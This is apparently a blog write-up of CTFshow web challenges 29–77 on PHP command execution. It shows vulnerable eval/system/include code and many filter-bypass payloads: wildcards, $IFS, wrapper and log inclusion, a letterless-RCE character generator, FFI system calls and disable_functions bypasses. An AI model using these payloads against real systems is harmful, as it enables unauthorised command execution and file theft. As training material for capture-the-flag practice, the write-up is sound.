[CTFSHOW]命令执行

web 29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

我这里只想到五种简便的方法:

通配符
payload1:c=system("nl fla?????");
payload2:c=system("nl fla*");
payload3:c=echo `nl fl''ag.php`;或者c=echo `nl fl“”ag.php`;
payload4:c=echo `nl fl\ag.php`;//转义字符绕过
payload5:c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
payload6:c=eval($_GET[1]);&1=system('nl flag.php');
payload7:c=awk '{printf $0}' flag.php||
还有很多姿势,毕竟等于没过滤

web 30

在上一道题的基础上多了system和php

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

但是我们可以用其他函数鸭

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec() 

payload:

c=echo exec('nl fla?????');
c=echo `nl fla''g.p''hp`;
c=echo `nl fla?????`;
还有上一道题的很多payload都可以使用

web 31

过滤了cat\sort等,空格也被过滤了尝试了一堆方法无果,尝试搞骚得

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

cat被过滤

more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是
cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings

payload:

c=eval($_GET[1]);&1=system('nl flag.php');
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`);
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必须加转义字符

还有其他姿势:
首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

web32

小知识:include不用括号,分号可以用?>代替。
payload:

c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web33-36

payload:

c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[a]?>&1=data://text/palin,<?php system("nl flag.php");?>

web37

payload

c=data://text/palin,<?php system("nl fla*");?>
还可以配合UA头执行日志包含
c=/var/log/nginx/access.log

web38

在上一道题的基础上过滤了php,和file
所以

c=data://text/palin;base64,PD9waHAgc3lzdGVtKCJubCBmbGEqIik7Pz4=
也可以日志包含
c=/var/log/nginx/access.log

web40

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

payload

?c=data://text/plain,<?php system(“cat f*”);?>

web41

代码审计,首先看到过滤了数字和字母,我们不难想到那一篇P神的无数字字母RCE,大家可以去看看羽师傅写的脚本,我在参考文章那里放了链接
这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。所以可以写脚本了

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

整理出了一个比较方便的脚本

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Y4tacker
# @Date:   2020-11-21 20:31:22
*/
//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}

//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}

//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
    if ($mode!=3){
        $myfile = fopen("rce.txt", "w");
        $contents = "";

        for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                    $hex_i = '0'.dechex($i);
                }else{
                    $hex_i = dechex($i);
                }
                if ($j<16){
                    $hex_j = '0'.dechex($j);
                }else{
                    $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                    echo "";
                }else{
                    $par1 = "%".$hex_i;
                    $par2 = '%'.$hex_j;
                    $res = '';
                    if ($mode==1){
                        $res = orRce($par1, $par2);
                    }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                    }

                    if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                    }
                }
            }

        }
        fwrite($myfile,$contents);
        fclose($myfile);
    }else{
        negateRce();
    }

}

generate(2,'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i');

web42

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

/dev/null 2>&1,让所有的输出流(包括错误的和正确的)都定向到空设备丢弃
所以不能让后面执行,所以需要把后面截断ls;%0a,后面不用多说了吧,还可以用%26以及||

web43

和42没多大区别。。。。,过滤了catnl%20flag.php%0a

web44

过滤了flag,没啥好说的通配符呗
c=nl%20fl*%0a

web45

多过滤了一个空格,总所周知php环境下可以用%09代题空格
c=nl%09fl*%0a
或者使用内联执行
c=echo反引号nl\$IFS*反引号%0A

web46

多过滤了一些数字啥的,等于没来,然后过滤了flag也可以其他姿势\ '' ""等等都行
c=nl%09fla\g.php%0a
还可以是,因为||默认是前面成功则不执行后面
c=nl%09fla\g.php||

web47-48

过滤了一点命令等于没说
c=nl<fla''g.php||

web49

看了一眼,也就是多过滤了几个命令而已,这里当作练习多给点payload:

payload1:c=nl%09fla\g.php||
payload2:c=nl%09fla\g.php%0a
payload3:c=nl%09fla''g.php%0a
payload4:c=nl%09fla""g.php%0a
payload5:c=vi%09fla\g.php%0a
payload6:c=tac%09fla\g.php%0a
payload7:c=uniq%09fla\g.php%0a
payload8:c=nl<fla''g.php||
payload9:c=nl%09fla\g.php%26

web50

我看了一眼%09被过滤了,除此之外也没啥新的基本上,随便来个payload进入下一关吧c=nl<fla\g.php||

web51

啊这,看了一眼%也被过滤了,不过也没啥,还是上一道的payloadc=nl<fla\g.php||

web52

虽然很多能当空格的都被过滤了但是,$却没有过滤,那么很明显了
c=nl$IFS\fla\g.php||

web53

感觉换了一个系列吧,这里随便来两个payload

payload1:c''at${IFS}fla''g.p''hp
payload2:c=nl$IFS\fla\g.php
payload3:

web54

加强了正则表达式,通配符就行了
c=/bin/c??${IFS}????????
c=/bin/c??$IFS????????

web55-56

<?php
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

然后有点懵逼,看看大师父们的方法吧
c=/???/????64 ????????,这个不是通用的,因为base64不是每个机器都有
然后还有一个骚姿势,看P神的文章吧,参考链接有,真的牛,当然为了方便还是写了个脚本
在这里插入图片描述

import requests

while True:
    url = "http://44875025-cec2-4154-8d87-34cbdcff5f27.chall.ctf.show/?c=.+/???/????????[@-[]"
    r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
    if r.text.find("flag") >0:
        print(r.text)
        break

web57

这道题的目的是构造36这个数字,这里利用了$(( ))与整数运算

$(())-------1
$((~37))------是36
所以我们只需要保证中间是-37即可,
$((~$(())$(())))---是1
所以
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))代表36,即可获取flag

web58

接下来的系列是绕过disable_functions系列,为了锻炼自己我决定多尝试几种姿势,都是从羽师傅那里学习到的,参考链接见下方
首先要获取文件路径,在这里我们可以用两种方式,我暂时想到这两种
c=print_r(scandir(dirname('__FILE__')));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}因为没有任何过滤我们便可以读取任意的文件
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };

//通过单一函数读取文件
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
//这里做一个解释`file — 把整个文件读入一个数组中`
通过fopen去读取文件内容,这里介绍下函数
fread()
fgets()
fgetc()
fgetss()
fgetcsv()
gpassthru()
payload:
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
//通过高亮显示php文件
show_source("flag.php");             
highlight_file("flag.php");             

web59

首先查找flag文件的地址c=print_r(scandir('./'));找到在当前目录下

//paylaod汇总
c=highlight_file("flag.php");
c=var_dump(file("flag.php")); 
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);

web60

首先查找flag文件的地址c=print_r(scandir('./'));找到在当前目录下

//payload汇总
c=highlight_file("flag.php");
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}

同时记录一个,但是这道题不能用
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用
还有新姿势

//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
copy()
rename()
//用法:
copy("flag.php","flag.txt");             //过60
rename("flag.php","flag.txt");           //过60

web61-65

为了熟悉学习新姿势c=$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}或者c=print_r(scandir(current(localeconv())));

//payload:
c=show_source('flag.php');
c=highlight_file('flag.php');
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));

web66-67

扫描目录c=var_dump(scandir("/"));,发现是flag.txt

//下面是payload
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');

web68-70

快乐第一步扫描目录c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

//payload介绍
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

web71

代码审计,这里先介绍几个函数
ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲

然后看这里有一句官方的介绍

此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。

作一个实验

<?php
$a = 'system("ls");';
eval($a);
//在网页中会输出内容
<?php
$a = 'system("ls");';
eval($a);
ob_get_contents();
ob_end_clean();
//
<?php
$a = 'system("ls");';
eval($a);
$c = ob_get_contents();
ob_end_clean();
echo $c;
//在这里则在网页当中没有输出内容,不难看出其取得了缓冲区的内容并清空了缓冲区
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

所以不难想出payloadc=require_once('/flag.txt');exit();这里通过exit();使程序提前退出,绕过后面的正则表达式

web72

<?php
$a = '?><?php echo 111;?>';
eval($a);

这里的?>是为了闭合前面<?php

payload:https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php
需要把里面的payload进行url编码

web73-74

第一步扫描目录

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);
payload:
c=include("/flagc.txt");exit(0);
c=require("/flagc.txt");exit(0);
c=require_once("/flagc.txt");exit(0);

web75-76

第一步扫描目录
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);
利用mysql load_file读文件

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web77

第一遍扫描目录c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);然后发现下面有一个readflag肯定是要调用这个,不会做,看了这个FFI拓展挺神奇的,说谁php7.4版本以上才有,大家想了解可以看看下面的参考链接

c=$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit();  

参考文章

CTF之命令执行绕过总结
CTF命令执行
nginx(一)之默认配置文件
ctfshow web入门 web41
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
命令执行漏洞进阶详解
无字母数字webshell之提高篇
LINUX中的点命令,或source命令,或点符号
无字母数字的命令执行(ctfshow web入门 55)
Linux—shell中 ( ( ) ) 、 (( ))、 (())( )、``与${ }的区别
ctfshow web入门58-77绕过disable function
PHP FFI详解 - 一种全新的PHP扩展方式

在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门之命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论 20
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值